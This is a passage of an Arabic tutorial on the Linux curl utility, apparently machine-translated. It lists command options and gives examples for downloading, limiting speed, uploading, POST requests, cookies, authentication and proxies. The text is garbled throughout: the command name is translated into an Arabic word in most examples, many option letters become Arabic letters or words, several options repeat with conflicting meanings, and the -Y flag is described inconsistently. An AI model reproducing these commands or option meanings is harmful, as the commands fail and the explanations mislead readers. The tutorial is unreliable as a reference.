• -ج- متابعة تنزيل الملف من نقطة التوقف أو الإزاحة المحددة؛
• -م- الحد الأقصى لوقت انتظار الرد من الخادم؛
• -د- إرسال البيانات باستخدام طريقة POST؛
• -د- حفظ الرؤوس التي أعادها الخادم إلى ملف؛
• -ه- قم بتعيين حقل Referer-uri، للإشارة إلى الموقع الذي جاء منه المستخدم؛
• -E- استخدام شهادة SSL خارجية؛
• -F- لا تعرض رسائل الخطأ.
• -F- إرسال البيانات في شكل نموذج؛
• -ز- إذا تم تمكين هذا الخيار، فسيتم إرسال جميع البيانات المحددة في الخيار -d باستخدام طريقة GET؛
• -ح- نقل الرؤوس إلى الخادم؛
• -أنا- تلقي رأس HTTP فقط وتجاهل محتوى الصفحة بالكامل؛
• -ي- قراءة وإرسال ملفات تعريف الارتباط من ملف؛
• -ج- إزالة الرأس من الطلب؛
• -ل- قبول ومعالجة عمليات إعادة التوجيه؛
• -س- الحد الأقصى لعدد عمليات إعادة التوجيه باستخدام الموقع؛
• -س- إخراج محتوى الصفحة إلى ملف؛
• -O- حفظ المحتوى في ملف باسم الصفحة أو الملف الموجود على الخادم؛
• -ص- استخدام وكيل.
• --بروتو- الإشارة إلى البروتوكول الذي سيتم استخدامه؛
• -ر- حفظ آخر وقت تعديل لملف بعيد؛
• -س- عرض الحد الأدنى من المعلومات حول الأخطاء؛
• -س- عرض رسائل الخطأ.
• -ت- تحميل الملف إلى الخادم؛
• -الخامس- الإخراج الأكثر تفصيلا؛
• -y- الحد الأدنى لسرعة التنزيل؛
• -Y- أقصى سرعة للتنزيل؛
• -ض- تنزيل الملف فقط إذا تم تعديله بعد الوقت المحدد؛
• -الخامس- عرض الإصدار.

لا يمثل هذا بأي حال من الأحوال كافة الخيارات المتاحة لـ curl linux، ولكنه يسرد الأساسيات التي ستحتاج إلى استخدامها.

كيفية استخدام الضفيرة؟

لقد تناولنا كل ما يتعلق بنظرية العمل مع الأداة المساعدة Curl، والآن حان الوقت للانتقال إلى التدريب وإلقاء نظرة على أمثلة لأمر Curl.

المهمة الأكثر شيوعا هي هذه. تنزيل الملف بسيط للغاية. للقيام بذلك، ما عليك سوى تمرير اسم الملف أو صفحة html إلى الأداة المساعدة في المعلمات:

حليقة https://raw.githubusercontent.com/curl/curl/master/README.md

ولكن هنا تنتظرك مفاجأة واحدة: سيتم إرسال محتويات الملف بالكامل إلى الإخراج القياسي. لكتابته على أي استخدام ملف:

حليقة -o readme.txt https://raw.githubusercontent.com/curl/curl/master/README.md

وإذا كنت تريد تسمية الملف الناتج بنفس اسم الملف الموجود على الخادم، فاستخدم الخيار -O:

حليقة -O https://raw.githubusercontent.com/curl/curl/master/README.md

حليقة -# -C - -O https://cdn.kernel.org/pub/linux/kernel/v4.x/testing/linux-4.11-rc7.tar.xz

إذا لزم الأمر، يمكنك تنزيل عدة ملفات بأمر واحد:

حليقة -O https://raw.githubusercontent.com/curl/curl/master/README.md -O https://raw.githubusercontent.com/curl/curl/master/README

الشيء الآخر الذي قد يكون مفيدًا للمسؤول هو تنزيل الملف فقط إذا تم تعديله:

curl -z 21 ديسمبر 17 https://raw.githubusercontent.com/curl/curl/master/README.md -O https://raw.githubusercontent.com/curl/curl/master/README

الحد الأقصى للسرعة

يمكنك تحديد سرعة التنزيل بالحد المطلوب حتى لا تفرط في الشبكة باستخدام الخيار -Y:

حليقة - معدل الحد 50K -O https://cdn.kernel.org/pub/linux/kernel/v4.x/testing/linux-4.11-rc7.tar.xz

تحتاج هنا إلى تحديد عدد الكيلوبايتات التي يمكن تنزيلها في الثانية. يمكنك أيضًا إنهاء الاتصال إذا كانت السرعة غير كافية، استخدم الخيار -Y للقيام بذلك:

حليقة -Y 100 -O https://raw.githubusercontent.com/curl/curl/master/README.md

نقل الملفات

حليقة -T تسجيل الدخول.txt ftp://speedtest.tele2.net/upload/

أو لنتأكد من إرسال الملف عبر HTTP؛ هناك خدمة خاصة بذلك:

حليقة -T ~/login.txt http://posttestserver.com/post.php

في الرد، ستخبرك الأداة المساعدة بالمكان الذي يمكنك العثور فيه على الملف الذي تم تنزيله.

إرسال بيانات ما بعد

لا يمكنك إرسال الملفات فحسب، بل يمكنك أيضًا إرسال أي بيانات باستخدام طريقة POST. اسمحوا لي أن أذكرك أن هذه الطريقة تستخدم لإرسال البيانات بأشكال مختلفة. لإرسال مثل هذا الطلب، استخدم الخيار -d. للاختبار سوف نستخدم نفس الخدمة:

حليقة -d "field1=val&fileld2=val1"http://posttestserver.com/post.php

إذا لم تكن راضيًا عن خيار الإرسال هذا، فيمكنك التظاهر بإرسال النموذج. هناك خيار لهذا -F:

حليقة -F "كلمة المرور=@pass;type=text/plain" http://posttestserver.com/post.php

نقوم هنا بتمرير حقل كلمة المرور بالنموذج كنص عادي، بنفس الطريقة التي يمكنك بها تمرير العديد من المعلمات.

إرسال واستقبال ملفات تعريف الارتباط

تستخدم مواقع الويب ملفات تعريف الارتباط لتخزين معلومات معينة من جانب المستخدم. قد يكون هذا ضروريًا، على سبيل المثال، للمصادقة. يمكنك إرسال واستقبال ملفات تعريف الارتباط باستخدام حليقة. لحفظ ملفات تعريف الارتباط المستلمة في ملف، استخدم الخيار -c:

حليقة -c cookie.txt http://posttestserver.com/post.php

يمكنك بعد ذلك إرسال ملف تعريف الارتباط الضفيرة مرة أخرى:

حليقة -b ملف تعريف الارتباط.txt http://posttestserver.com/post.php

نقل الرأس والتحليل

لا نحتاج بالضرورة دائمًا إلى محتوى الصفحة. في بعض الأحيان يمكن أن تكون العناوين الرئيسية فقط مثيرة للاهتمام. لعرضها فقط يوجد خيار -I:

حليقة -أنا https://site

ويتيح لك خيار -H إرسال عدة أو أكثر إلى الخادم، على سبيل المثال، يمكنك تمرير رأس If-Modified-Since بحيث لا يتم إرجاع الصفحة إلا إذا تم تعديلها:

مصادقة الضفيرة

إذا كان الخادم يتطلب أحد أنواع المصادقة الشائعة، مثل HTTP Basic أو FTP، فيمكن لـ curl التعامل مع هذه المهمة بسهولة شديدة. لتحديد تفاصيل المصادقة، ما عليك سوى تحديدها مفصولة بنقطتين في الخيار -u:

حليقة -u ftpuser:ftppass -T - ftp://ftp.testserver.com/myfile_1.txt

سيتم إجراء المصادقة على خوادم HTTP بنفس الطريقة.

باستخدام وكيل

إذا كنت بحاجة إلى استخدام خادم وكيل لتنزيل الملفات، فهذا أيضًا بسيط جدًا. يكفي تحديد عنوان الخادم الوكيل في الخيار -x:

حليقة -x proxysever.test.com:3128 http://google.co.in

الاستنتاجات

في هذه المقالة، نظرنا في كيفية استخدام تجعيد، ولماذا هناك حاجة إلى هذه الأداة المساعدة وقدراتها الرئيسية. على الرغم من التشابه بينهما، إلا أنهما مختلفان للغاية. تم تصميم الأمر curl linux بشكل أكبر لتحليل ومحاكاة الإجراءات المختلفة على الخادم، بينما يعد wget أكثر ملاءمة لتنزيل الملفات والزحف إلى المواقع.